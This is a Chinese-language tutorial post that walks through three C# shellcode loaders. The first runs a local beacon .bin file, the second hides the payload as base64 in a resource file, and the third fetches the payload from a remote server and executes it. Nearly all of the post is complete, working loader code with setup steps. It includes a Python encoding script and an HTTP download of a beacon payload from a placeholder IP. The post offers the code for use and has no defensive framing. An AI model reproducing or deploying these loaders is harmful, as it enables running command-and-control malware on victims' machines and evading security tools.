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c#加载shellcode

news 2025/7/6 18:48:12

本地加载bin文件

SharpPELoader项目如下：

using System;
using System.IO;
using System.Runtime.InteropServices;namespace TestShellCode
{internal class Program{private const uint MEM_COMMIT = 0x1000;private const uint PAGE_EXECUTE_READWRITE = 0x40;private const uint INFINITE = 0xFFFFFFFF;static void Main(string[] args){string shellcodeFilePath = "beacon_x6493.bin";if (!File.Exists(shellcodeFilePath)){Console.WriteLine("Shellcode file not found.");return;}byte[] shellcode = File.ReadAllBytes(shellcodeFilePath);IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (funcAddr == IntPtr.Zero){Console.WriteLine($"VirtualAlloc failed with error code {Marshal.GetLastWin32Error()}.");return;}Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);if (hThread == IntPtr.Zero){Console.WriteLine($"CreateThread failed with error code {Marshal.GetLastWin32Error()}.");VirtualFree(funcAddr, 0, MEM_COMMIT);return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);VirtualFree(funcAddr, 0, MEM_COMMIT);}[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr VirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool VirtualFree(IntPtr lpAddress,uint dwSize,uint dwFreeType);[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,out uint lpThreadId);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool CloseHandle(IntPtr hObject);[DllImport("kernel32.dll", SetLastError = true)]private static extern uint WaitForSingleObject(IntPtr hHandle,uint dwMilliseconds);}
}

在这里插入图片描述

使用本地分离加载（资源加载base64形式）

首先需要base64编码后的shellcode文件
使用enc.py进行base64编码
在这里插入图片描述
enc.py如下

import base64
import sysfile = sys.argv[1]
with open(file, "rb") as f:all_data = f.read()# Encode the content using Base64
encoded_data = base64.b64encode(all_data)with open("a.txt", "wb") as f:f.write(encoded_data)

得到a.txt文件改名为config.txt（这里改名不改名都可以，因为后面资源文件名字改掉就好）
SharpPELoader_base64项目如下在这里插入图片描述
可以看到主文件Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;namespace SharpPELoader_base64
{public class Loader{public override bool Equals(object obj){Thread t = new Thread(test);t.Start();return true;}public void test(){Assembly myAssem = Assembly.GetEntryAssembly();ResourceManager rm = new ResourceManager("SharpPELoader_base64.Resource1", myAssem);// 资源文件中读取shellcode加载string config = rm.GetString("config");byte[] shellcode = Convert.FromBase64String(config);UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)funcAddr, shellcode.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);}private static UInt32 MEM_COMMIT = 0x1000;private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size,UInt32 flAllocationType,UInt32 flProtect);[DllImport("kernel32")]private static extern bool VirtualFree(IntPtr lpAddress,UInt32 dwSize,UInt32 dwFreeType);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern bool CloseHandle(IntPtr handle);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);[DllImport("kernel32")]private static extern IntPtr GetModuleHandle(string moduleName);[DllImport("kernel32")]private static extern UInt32 GetProcAddress(IntPtr hModule,string procName);[DllImport("kernel32")]private static extern UInt32 LoadLibrary(string lpFileName);[DllImport("kernel32")]private static extern UInt32 GetLastError();}class Program{static void Main(string[] args){// 创建 Loader 类的实例Loader loader = new Loader();// 启动线程执行 test 方法loader.Equals(null);}}
}

两个方法，命名空间注意和项目一致，一个loader类，一个Main类，Main调用loader类中的test方法
这里项目需要通过添加资源文件，因为是从资源文件中读取的shellcode
添加资源文件方法如下：在这里插入图片描述
新建项

新建完之后先修改名称为之前代码中的config，也就是和下面这块

然后添加资源

添加现有文件config.txt
添加进来即可，这里命名空间都是对的都是项目的命名空间
这里和
是匹配的才可以，所以结合之前的config（资源名字）匹配就可以资源加载了

远端加载

这里在本地加载bin文件基础上修改
使用GetByteArrayAsync;
在这里插入图片描述
全部代码

using System;
using System.IO;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;namespace RemoteShellcodeLoader
{internal class Program{private const uint MEM_COMMIT = 0x1000;private const uint PAGE_EXECUTE_READWRITE = 0x40;private const uint INFINITE = 0xFFFFFFFF;static async Task Main(string[] args){string url = "http://x.x.x.x:89/beacon_x6493.bin";byte[] shellcode = await DownloadShellcodeAsync(url);if (shellcode == null){Console.WriteLine("Failed to download shellcode.");return;}IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (funcAddr == IntPtr.Zero){Console.WriteLine($"VirtualAlloc failed with error code {Marshal.GetLastWin32Error()}.");return;}Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);if (hThread == IntPtr.Zero){Console.WriteLine($"CreateThread failed with error code {Marshal.GetLastWin32Error()}.");VirtualFree(funcAddr, 0, MEM_COMMIT);return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);VirtualFree(funcAddr, 0, MEM_COMMIT);}private static async Task<byte[]> DownloadShellcodeAsync(string url){using (HttpClient client = new HttpClient()){try{return await client.GetByteArrayAsync(url);}catch (Exception ex){Console.WriteLine($"Error downloading shellcode: {ex.Message}");return null;}}}[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr VirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool VirtualFree(IntPtr lpAddress,uint dwSize,uint dwFreeType);[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,out uint lpThreadId);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool CloseHandle(IntPtr hObject);[DllImport("kernel32.dll", SetLastError = true)]private static extern uint WaitForSingleObject(IntPtr hHandle,uint dwMilliseconds);}
}